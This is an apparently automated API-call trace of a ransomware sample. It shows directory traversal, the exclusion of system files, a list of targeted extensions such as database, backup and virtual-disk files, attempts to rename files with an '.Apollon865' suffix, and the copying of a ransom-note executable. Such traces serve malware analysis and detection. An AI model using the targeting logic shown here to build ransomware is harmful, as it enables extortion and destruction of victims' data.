	[0085.024] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0085.024] lstrlenW (lpString="ba_") returned 3
	[0085.024] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0085.024] lstrlenW (lpString="dbb") returned 3
	[0085.024] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0085.024] lstrlenW (lpString="vmdk") returned 4
	[0085.024] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0085.024] lstrlenW (lpString="rar") returned 3
	[0085.024] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0085.024] lstrlenW (lpString="zip") returned 3
	[0085.024] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0085.024] lstrlenW (lpString="tgz") returned 3
	[0085.024] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0085.024] lstrlenW (lpString="vbox") returned 4
	[0085.024] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0085.024] lstrlenW (lpString="vdi") returned 3
	[0085.024] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0085.024] lstrlenW (lpString="vhd") returned 3
	[0085.024] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0085.024] lstrlenW (lpString="vhdx") returned 4
	[0085.024] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0085.024] lstrlenW (lpString="avhd") returned 4
	[0085.024] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0085.024] lstrlenW (lpString="db") returned 2
	[0085.024] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0085.024] lstrlenW (lpString="db2") returned 3
	[0085.024] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0085.024] lstrlenW (lpString="db3") returned 3
	[0085.024] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0085.024] lstrlenW (lpString="dbf") returned 3
	[0085.024] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0085.024] lstrlenW (lpString="mdf") returned 3
	[0085.025] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0085.025] lstrlenW (lpString="mdb") returned 3
	[0085.025] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0085.025] lstrlenW (lpString="sql") returned 3
	[0085.025] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0085.025] lstrlenW (lpString="sqlite") returned 6
	[0085.025] lstrcmpiW (lpString1="or.xml", lpString2="sqlite") returned -1
	[0085.025] lstrlenW (lpString="sqlite3") returned 7
	[0085.025] lstrcmpiW (lpString1="ior.xml", lpString2="sqlite3") returned -1
	[0085.025] lstrlenW (lpString="sqlitedb") returned 8
	[0085.025] lstrcmpiW (lpString1="vior.xml", lpString2="sqlitedb") returned 1
	[0085.025] lstrlenW (lpString="xml") returned 3
	[0085.025] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0085.025] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f07a66f, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f07a66f, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76b3ce5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xadc8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="device.png", cAlternateFileName="")) returned 1
	[0085.025] lstrcmpiW (lpString1="device.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0085.025] lstrcmpiW (lpString1="device.png", lpString2="Apollon865.txt.exe") returned 1
	[0085.025] lstrcmpiW (lpString1="device.png", lpString2=".") returned 1
	[0085.025] lstrcmpiW (lpString1="device.png", lpString2="..") returned 1
	[0085.025] lstrcmpiW (lpString1="device.png", lpString2="windows") returned -1
	[0085.025] lstrcmpiW (lpString1="device.png", lpString2="bootmgr") returned 1
	[0085.025] lstrcmpiW (lpString1="device.png", lpString2="temp") returned -1
	[0085.025] lstrcmpiW (lpString1="device.png", lpString2="pagefile.sys") returned -1
	[0085.025] lstrcmpiW (lpString1="device.png", lpString2="boot") returned 1
	[0085.025] lstrcmpiW (lpString1="device.png", lpString2="ids.txt") returned -1
	[0085.025] lstrcmpiW (lpString1="device.png", lpString2="ntuser.dat") returned -1
	[0085.025] lstrcmpiW (lpString1="device.png", lpString2="perflogs") returned -1
	[0085.025] lstrcmpiW (lpString1="device.png", lpString2="MSBuild") returned -1
	[0085.025] lstrlenW (lpString="device.png") returned 10
	[0085.025] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml") returned 100
	[0085.025] lstrcpyW (in: lpString1=0x119e6b8, lpString2="device.png" | out: lpString1="device.png") returned="device.png"
	[0085.025] lstrlenW (lpString="device.png") returned 10
	[0085.025] lstrlenW (lpString="Apollon865") returned 10
	[0085.025] lstrlenW (lpString=".dll") returned 4
	[0085.025] lstrcmpiW (lpString1="device.png", lpString2=".dll") returned 1
	[0085.025] lstrlenW (lpString=".lnk") returned 4
	[0085.025] lstrcmpiW (lpString1="device.png", lpString2=".lnk") returned 1
	[0085.025] lstrlenW (lpString=".ini") returned 4
	[0085.025] lstrcmpiW (lpString1="device.png", lpString2=".ini") returned 1
	[0085.026] lstrlenW (lpString=".sys") returned 4
	[0085.026] lstrcmpiW (lpString1="device.png", lpString2=".sys") returned 1
	[0085.026] lstrlenW (lpString="device.png") returned 10
	[0085.026] lstrlenW (lpString="bak") returned 3
	[0085.026] lstrcmpiW (lpString1="png", lpString2="bak") returned 1
	[0085.026] lstrlenW (lpString="ba_") returned 3
	[0085.026] lstrcmpiW (lpString1="png", lpString2="ba_") returned 1
	[0085.026] lstrlenW (lpString="dbb") returned 3
	[0085.026] lstrcmpiW (lpString1="png", lpString2="dbb") returned 1
	[0085.026] lstrlenW (lpString="vmdk") returned 4
	[0085.026] lstrcmpiW (lpString1=".png", lpString2="vmdk") returned -1
	[0085.026] lstrlenW (lpString="rar") returned 3
	[0085.026] lstrcmpiW (lpString1="png", lpString2="rar") returned -1
	[0085.026] lstrlenW (lpString="zip") returned 3
	[0085.026] lstrcmpiW (lpString1="png", lpString2="zip") returned -1
	[0085.026] lstrlenW (lpString="tgz") returned 3
	[0085.026] lstrcmpiW (lpString1="png", lpString2="tgz") returned -1
	[0085.026] lstrlenW (lpString="vbox") returned 4
	[0085.026] lstrcmpiW (lpString1=".png", lpString2="vbox") returned -1
	[0085.026] lstrlenW (lpString="vdi") returned 3
	[0085.026] lstrcmpiW (lpString1="png", lpString2="vdi") returned -1
	[0085.026] lstrlenW (lpString="vhd") returned 3
	[0085.026] lstrcmpiW (lpString1="png", lpString2="vhd") returned -1
	[0085.026] lstrlenW (lpString="vhdx") returned 4
	[0085.026] lstrcmpiW (lpString1=".png", lpString2="vhdx") returned -1
	[0085.026] lstrlenW (lpString="avhd") returned 4
	[0085.026] lstrcmpiW (lpString1=".png", lpString2="avhd") returned -1
	[0085.026] lstrlenW (lpString="db") returned 2
	[0085.026] lstrcmpiW (lpString1="ng", lpString2="db") returned 1
	[0085.026] lstrlenW (lpString="db2") returned 3
	[0085.026] lstrcmpiW (lpString1="png", lpString2="db2") returned 1
	[0085.026] lstrlenW (lpString="db3") returned 3
	[0085.026] lstrcmpiW (lpString1="png", lpString2="db3") returned 1
	[0085.026] lstrlenW (lpString="dbf") returned 3
	[0085.026] lstrcmpiW (lpString1="png", lpString2="dbf") returned 1
	[0085.026] lstrlenW (lpString="mdf") returned 3
	[0085.026] lstrcmpiW (lpString1="png", lpString2="mdf") returned 1
	[0085.026] lstrlenW (lpString="mdb") returned 3
	[0085.027] lstrcmpiW (lpString1="png", lpString2="mdb") returned 1
	[0085.027] lstrlenW (lpString="sql") returned 3
	[0085.027] lstrcmpiW (lpString1="png", lpString2="sql") returned -1
	[0085.027] lstrlenW (lpString="sqlite") returned 6
	[0085.027] lstrcmpiW (lpString1="ce.png", lpString2="sqlite") returned -1
	[0085.027] lstrlenW (lpString="sqlite3") returned 7
	[0085.027] lstrcmpiW (lpString1="ice.png", lpString2="sqlite3") returned -1
	[0085.027] lstrlenW (lpString="sqlitedb") returned 8
	[0085.027] lstrcmpiW (lpString1="vice.png", lpString2="sqlitedb") returned 1
	[0085.027] lstrlenW (lpString="xml") returned 3
	[0085.027] lstrcmpiW (lpString1="png", lpString2="xml") returned -1
	[0085.027] lstrlenW (lpString="$er") returned 3
	[0085.027] lstrcmpiW (lpString1="png", lpString2="$er") returned 1
	[0085.027] lstrlenW (lpString="4dd") returned 3
	[0085.027] lstrcmpiW (lpString1="png", lpString2="4dd") returned 1
	[0085.027] lstrlenW (lpString="4dl") returned 3
	[0085.027] lstrcmpiW (lpString1="png", lpString2="4dl") returned 1
	[0085.027] lstrlenW (lpString="^^^") returned 3
	[0085.027] lstrcmpiW (lpString1="png", lpString2="^^^") returned 1
	[0085.027] lstrlenW (lpString="abs") returned 3
	[0085.027] lstrcmpiW (lpString1="png", lpString2="abs") returned 1
	[0085.027] lstrlenW (lpString="abx") returned 3
	[0085.027] lstrcmpiW (lpString1="png", lpString2="abx") returned 1
	[0085.027] lstrlenW (lpString="accdb") returned 5
	[0085.027] lstrcmpiW (lpString1="e.png", lpString2="accdb") returned 1
	[0085.027] lstrlenW (lpString="accdc") returned 5
	[0085.027] lstrcmpiW (lpString1="e.png", lpString2="accdc") returned 1
	[0085.027] lstrlenW (lpString="accde") returned 5
	[0085.027] lstrcmpiW (lpString1="e.png", lpString2="accde") returned 1
	[0085.027] lstrlenW (lpString="accdr") returned 5
	[0085.027] lstrcmpiW (lpString1="e.png", lpString2="accdr") returned 1
	[0085.027] lstrlenW (lpString="accdt") returned 5
	[0085.027] lstrcmpiW (lpString1="e.png", lpString2="accdt") returned 1
	[0085.027] lstrlenW (lpString="accdw") returned 5
	[0085.027] lstrcmpiW (lpString1="e.png", lpString2="accdw") returned 1
	[0085.027] lstrlenW (lpString="accft") returned 5
	[0085.027] lstrcmpiW (lpString1="e.png", lpString2="accft") returned 1
	[0085.027] lstrlenW (lpString="adb") returned 3
	[0085.028] lstrcmpiW (lpString1="png", lpString2="adb") returned 1
	[0085.028] lstrlenW (lpString="adb") returned 3
	[0085.028] lstrcmpiW (lpString1="png", lpString2="adb") returned 1
	[0085.028] lstrlenW (lpString="ade") returned 3
	[0085.028] lstrcmpiW (lpString1="png", lpString2="ade") returned 1
	[0085.028] lstrlenW (lpString="adf") returned 3
	[0085.028] lstrcmpiW (lpString1="png", lpString2="adf") returned 1
	[0085.028] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png.Apollon865") returned 109
	[0085.028] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png.apollon865"), dwFlags=0x1) returned 0
	[0085.028] GetLastError () returned 0x5
	[0085.028] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png MoveFileEx error 5\r\n") returned 127
	[0085.028] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png MoveFileEx error 5\r\n") returned 127
	[0085.028] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0085.029] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x5f8f
	[0085.029] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x7f, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x7f, lpOverlapped=0x0) returned 1
	[0085.029] CloseHandle (hObject=0x9c) returned 1
	[0085.029] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0085.029] CloseHandle (hObject=0x0) returned 0
	[0085.029] CloseHandle (hObject=0x0) returned 0
	[0085.029] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ff25d90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2ff25d90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0085.029] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0085.029] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0a07cc, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0a07cc, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76d9e43, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="overlay.png", cAlternateFileName="")) returned 1
	[0085.029] lstrcmpiW (lpString1="overlay.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0085.029] lstrcmpiW (lpString1="overlay.png", lpString2="Apollon865.txt.exe") returned 1
	[0085.030] lstrcmpiW (lpString1="overlay.png", lpString2=".") returned 1
	[0085.030] lstrcmpiW (lpString1="overlay.png", lpString2="..") returned 1
	[0085.030] lstrcmpiW (lpString1="overlay.png", lpString2="windows") returned -1
	[0085.030] lstrcmpiW (lpString1="overlay.png", lpString2="bootmgr") returned 1
	[0085.030] lstrcmpiW (lpString1="overlay.png", lpString2="temp") returned -1
	[0085.030] lstrcmpiW (lpString1="overlay.png", lpString2="pagefile.sys") returned -1
	[0085.030] lstrcmpiW (lpString1="overlay.png", lpString2="boot") returned 1
	[0085.030] lstrcmpiW (lpString1="overlay.png", lpString2="ids.txt") returned 1
	[0085.030] lstrcmpiW (lpString1="overlay.png", lpString2="ntuser.dat") returned 1
	[0085.030] lstrcmpiW (lpString1="overlay.png", lpString2="perflogs") returned -1
	[0085.030] lstrcmpiW (lpString1="overlay.png", lpString2="MSBuild") returned 1
	[0085.030] lstrlenW (lpString="overlay.png") returned 11
	[0085.030] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png") returned 98
	[0085.030] lstrcpyW (in: lpString1=0x119e6b8, lpString2="overlay.png" | out: lpString1="overlay.png") returned="overlay.png"
	[0085.030] lstrlenW (lpString="overlay.png") returned 11
	[0085.030] lstrlenW (lpString="Apollon865") returned 10
	[0085.030] lstrcmpiW (lpString1="verlay.png", lpString2="Apollon865") returned 1
	[0085.030] lstrlenW (lpString=".dll") returned 4
	[0085.030] lstrcmpiW (lpString1="overlay.png", lpString2=".dll") returned 1
	[0085.030] lstrlenW (lpString=".lnk") returned 4
	[0085.030] lstrcmpiW (lpString1="overlay.png", lpString2=".lnk") returned 1
	[0085.030] lstrlenW (lpString=".ini") returned 4
	[0085.030] lstrcmpiW (lpString1="overlay.png", lpString2=".ini") returned 1
	[0085.030] lstrlenW (lpString=".sys") returned 4
	[0085.030] lstrcmpiW (lpString1="overlay.png", lpString2=".sys") returned 1
	[0085.030] lstrlenW (lpString="overlay.png") returned 11
	[0085.030] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png.Apollon865") returned 110
	[0085.030] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png.apollon865"), dwFlags=0x1) returned 0
	[0085.031] GetLastError () returned 0x5
	[0085.031] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png MoveFileEx error 5\r\n") returned 128
	[0085.031] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png MoveFileEx error 5\r\n") returned 128
	[0085.031] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0085.031] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x600e
	[0085.031] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x80, lpOverlapped=0x0) returned 1
	[0085.031] CloseHandle (hObject=0x9c) returned 1
	[0085.031] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0085.031] CloseHandle (hObject=0x0) returned 0
	[0085.031] CloseHandle (hObject=0x0) returned 0
	[0085.031] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0c6929, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0c6929, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76d9e43, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x99d3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="superbar.png", cAlternateFileName="")) returned 1
	[0085.032] lstrcmpiW (lpString1="superbar.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0085.032] lstrcmpiW (lpString1="superbar.png", lpString2="Apollon865.txt.exe") returned 1
	[0085.032] lstrcmpiW (lpString1="superbar.png", lpString2=".") returned 1
	[0085.032] lstrcmpiW (lpString1="superbar.png", lpString2="..") returned 1
	[0085.032] lstrcmpiW (lpString1="superbar.png", lpString2="windows") returned -1
	[0085.032] lstrcmpiW (lpString1="superbar.png", lpString2="bootmgr") returned 1
	[0085.032] lstrcmpiW (lpString1="superbar.png", lpString2="temp") returned -1
	[0085.032] lstrcmpiW (lpString1="superbar.png", lpString2="pagefile.sys") returned 1
	[0085.032] lstrcmpiW (lpString1="superbar.png", lpString2="boot") returned 1
	[0085.032] lstrcmpiW (lpString1="superbar.png", lpString2="ids.txt") returned 1
	[0085.032] lstrcmpiW (lpString1="superbar.png", lpString2="ntuser.dat") returned 1
	[0085.032] lstrcmpiW (lpString1="superbar.png", lpString2="perflogs") returned 1
	[0085.032] lstrcmpiW (lpString1="superbar.png", lpString2="MSBuild") returned 1
	[0085.032] lstrlenW (lpString="superbar.png") returned 12
	[0085.032] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png") returned 99
	[0085.032] lstrcpyW (in: lpString1=0x119e6b8, lpString2="superbar.png" | out: lpString1="superbar.png") returned="superbar.png"
	[0085.032] lstrlenW (lpString="superbar.png") returned 12
	[0085.032] lstrlenW (lpString="Apollon865") returned 10
	[0085.032] lstrcmpiW (lpString1="perbar.png", lpString2="Apollon865") returned 1
	[0085.032] lstrlenW (lpString=".dll") returned 4
	[0085.032] lstrcmpiW (lpString1="superbar.png", lpString2=".dll") returned 1
	[0085.032] lstrlenW (lpString=".lnk") returned 4
	[0085.032] lstrcmpiW (lpString1="superbar.png", lpString2=".lnk") returned 1
	[0085.032] lstrlenW (lpString=".ini") returned 4
	[0085.032] lstrcmpiW (lpString1="superbar.png", lpString2=".ini") returned 1
	[0085.032] lstrlenW (lpString=".sys") returned 4
	[0085.032] lstrcmpiW (lpString1="superbar.png", lpString2=".sys") returned 1
	[0085.032] lstrlenW (lpString="superbar.png") returned 12
	[0085.032] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png.Apollon865") returned 111
	[0085.032] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png.apollon865"), dwFlags=0x1) returned 0
	[0085.033] GetLastError () returned 0x5
	[0085.033] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png MoveFileEx error 5\r\n") returned 129
	[0085.033] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png MoveFileEx error 5\r\n") returned 129
	[0085.033] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0085.033] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x608e
	[0085.033] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x81, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x81, lpOverlapped=0x0) returned 1
	[0085.033] CloseHandle (hObject=0x9c) returned 1
	[0085.033] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0085.033] CloseHandle (hObject=0x0) returned 0
	[0085.033] CloseHandle (hObject=0x0) returned 0
	[0085.033] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0c6929, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0c6929, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76d9e43, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x99d3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="superbar.png", cAlternateFileName="")) returned 0
	[0085.034] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0085.034] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7c30
	[0085.034] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Crypto", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Crypto") returned="C:\\Users\\All Users\\Microsoft\\Crypto"
	[0085.034] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bdf78 | out: hHeap=0x580000) returned 1
	[0085.034] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0085.034] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Crypto") returned 35
	[0085.034] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Crypto" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Crypto") returned="C:\\Users\\All Users\\Microsoft\\Crypto"
	[0085.034] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0085.034] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\crypto\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0085.035] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0085.035] GetLastError () returned 0x0
	[0085.035] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0085.035] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0085.035] CloseHandle (hObject=0x10c) returned 1
	[0085.035] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0085.035] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0085.035] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ff72050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ff72050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0085.035] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0085.035] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0085.035] lstrcmpiW (lpString1=".", lpString2=".") returned 0
